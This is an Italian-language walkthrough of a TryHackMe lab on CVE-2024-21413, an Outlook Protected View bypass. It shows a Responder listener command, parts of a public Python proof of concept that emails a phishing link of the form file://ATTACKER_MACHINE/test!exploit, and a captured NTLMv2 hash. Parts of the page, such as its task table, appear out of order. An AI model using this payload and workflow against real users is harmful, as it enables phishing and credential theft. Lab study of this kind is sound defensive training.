
TryHackMe Moniker Link (CVE-2024-21413) walkthrough: bypass della Vista protetta di Outlook che porta alla cattura di hash NTLMv2 tramite un link moniker appositamente creato.
Una guida completa alla room TryHackMe "Moniker Link": sfruttare la CVE-2024-21413, una vulnerabilità di Microsoft Outlook del 2024, per rubare l'hash NTLMv2 della vittima nel momento in cui fa clic su un link in un'email di phishing — senza macro, senza allegati, senza avvisi di sicurezza evidenti.
La CVE-2024-21413 ("Moniker Link") è una vulnerabilità nel modo in cui Outlook valida i link file:// che utilizzano la sintassi "moniker" OLE di Windows (un ! finale dopo il percorso, es. file://host/share!qualcosa). Outlook dovrebbe aprire i link a file esterni tramite la Visualizzazione protetta, che isola il file in una sandbox e avvisa l'utente prima che qualsiasi credenziale possa fuoriuscire. Il ! in più rompe il parser URL di Outlook quanto basta per fargli saltare del tutto la Visualizzazione protetta e passare il link direttamente a Windows, che — poiché sembra un percorso UNC — tenta silenziosamente l'autenticazione SMB contro il server dell'attaccante. Quel tentativo di autenticazione fa trapelare l'hash NTLMv2 della vittima prima che la vittima abbia fatto qualsiasi altra cosa oltre a cliccare su un link dall'aspetto normale.
| Attività | Obiettivo |
|---|---|
| 1. Ricognizione |
responder -I ens5
Responder viene avviato sull'interfaccia della macchina dell'attaccante prima che venga inviato qualsiasi cosa, con LLMNR, NBT-NS e DNS poisoning abilitati. È questo che cattura effettivamente la fuga di credenziali: quando l'exploit induce Outlook a tentare un'autenticazione SMB contro l'IP dell'attaccante, Responder è ciò che resta in ascolto dall'altra parte per intercettarla.

Il bersaglio è una casella Outlook standard, [email protected], nella sua normale visualizzazione della posta in arrivo prima che arrivi qualsiasi email di phishing — la baseline da cui parte il resto della room.

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
L'exploit (il PoC pubblico di CMNatic per la CVE-2024-21413) è un piccolo script Python che costruisce e invia un'email HTML via SMTP. Il payload è interamente in una riga: un link <a href="file://..."> puntato alla macchina dell'attaccante, con !exploit aggiunto alla fine del percorso. Quel ! finale è l'intero bug: è ciò che fa classificare erroneamente l'URL al parser di Outlook e saltare il controllo della Visualizzazione protetta che applicherebbe normalmente a un link a file esterno.

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
L'esecuzione dello script autentica al server di posta e invia l'email costruita alla vittima. Email delivered conferma che ha lasciato correttamente la casella dell'attaccante.

L'email arriva nella casella di [email protected], mittente CMNatic, oggetto CVE-2024-21413, e contiene nient'altro che un singolo link con la scritta "Click me" — nessun allegato, nessun avviso di macro, nulla che di norma farebbe scattare un filtro anti-phishing o insospettirebbe un utente attento.

Cliccando su "Click me" si attiva la finestra di errore di Esplora risorse di Windows generata da Outlook: "Non riusciamo a trovare '\10.113.72.84\test!exploit'. Assicurati di usare la posizione o l'indirizzo web corretto." Questo errore è in realtà la prova che l'exploit ha già funzionato — quando questa finestra appare, Windows ha già provato a risolvere quel percorso UNC via SMB e, nel farlo, si è già autenticato contro 10.113.72.84 (la macchina dell'attaccante). Il fallimento visibile è solo Esplora risorse che non trova una condivisione che non doveva mai esistere; la fuga di credenziali è già avvenuta silenziosamente prima ancora che la finestra di errore comparisse.

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
Di nuovo sulla macchina dell'attaccante, Responder ha già catturato l'intero handshake NTLMv2-SSP per THM-MONIKERLINK\tryhackme, proveniente da 10.113.150.143 (la vittima). Nessun prompt di credenziali, nessun avviso di sicurezza e nessuna azione dell'utente oltre a un singolo clic su quello che sembrava un link normale — l'hash era pronto per essere crackato o usato in un attacco relay nell'istante in cui Outlook ha gestito male il moniker link.

!) era l'intera vulnerabilità. La CVE-2024-21413 è un buon promemoria del fatto che i parser di URL/percorsi sono una fonte comune di bypass dei confini di sicurezza — un input malformato non deve essere complesso per sfuggire a un controllo, deve solo finire in un percorso di codice non coperto da quel controllo.file:// è una tecnica vecchia; ciò che rendeva notevole questa CVE era che Outlook non avrebbe dovuto affatto lasciar scattare il link senza un avviso.| Comprendere la CVE e come il bug di parsing dei moniker link aggira la Visualizzazione protetta |
| 2. Configurare il listener | Avviare Responder per catturare l'autenticazione SMB in uscita |
| 3. Creare l'exploit | Costruire un'email di phishing contenente un moniker link malevolo |
| 4. Consegnare | Inviare l'email alla casella di posta della vittima |
| 5. Cattura | Far cliccare il link alla vittima e catturarne l'hash NTLMv2 |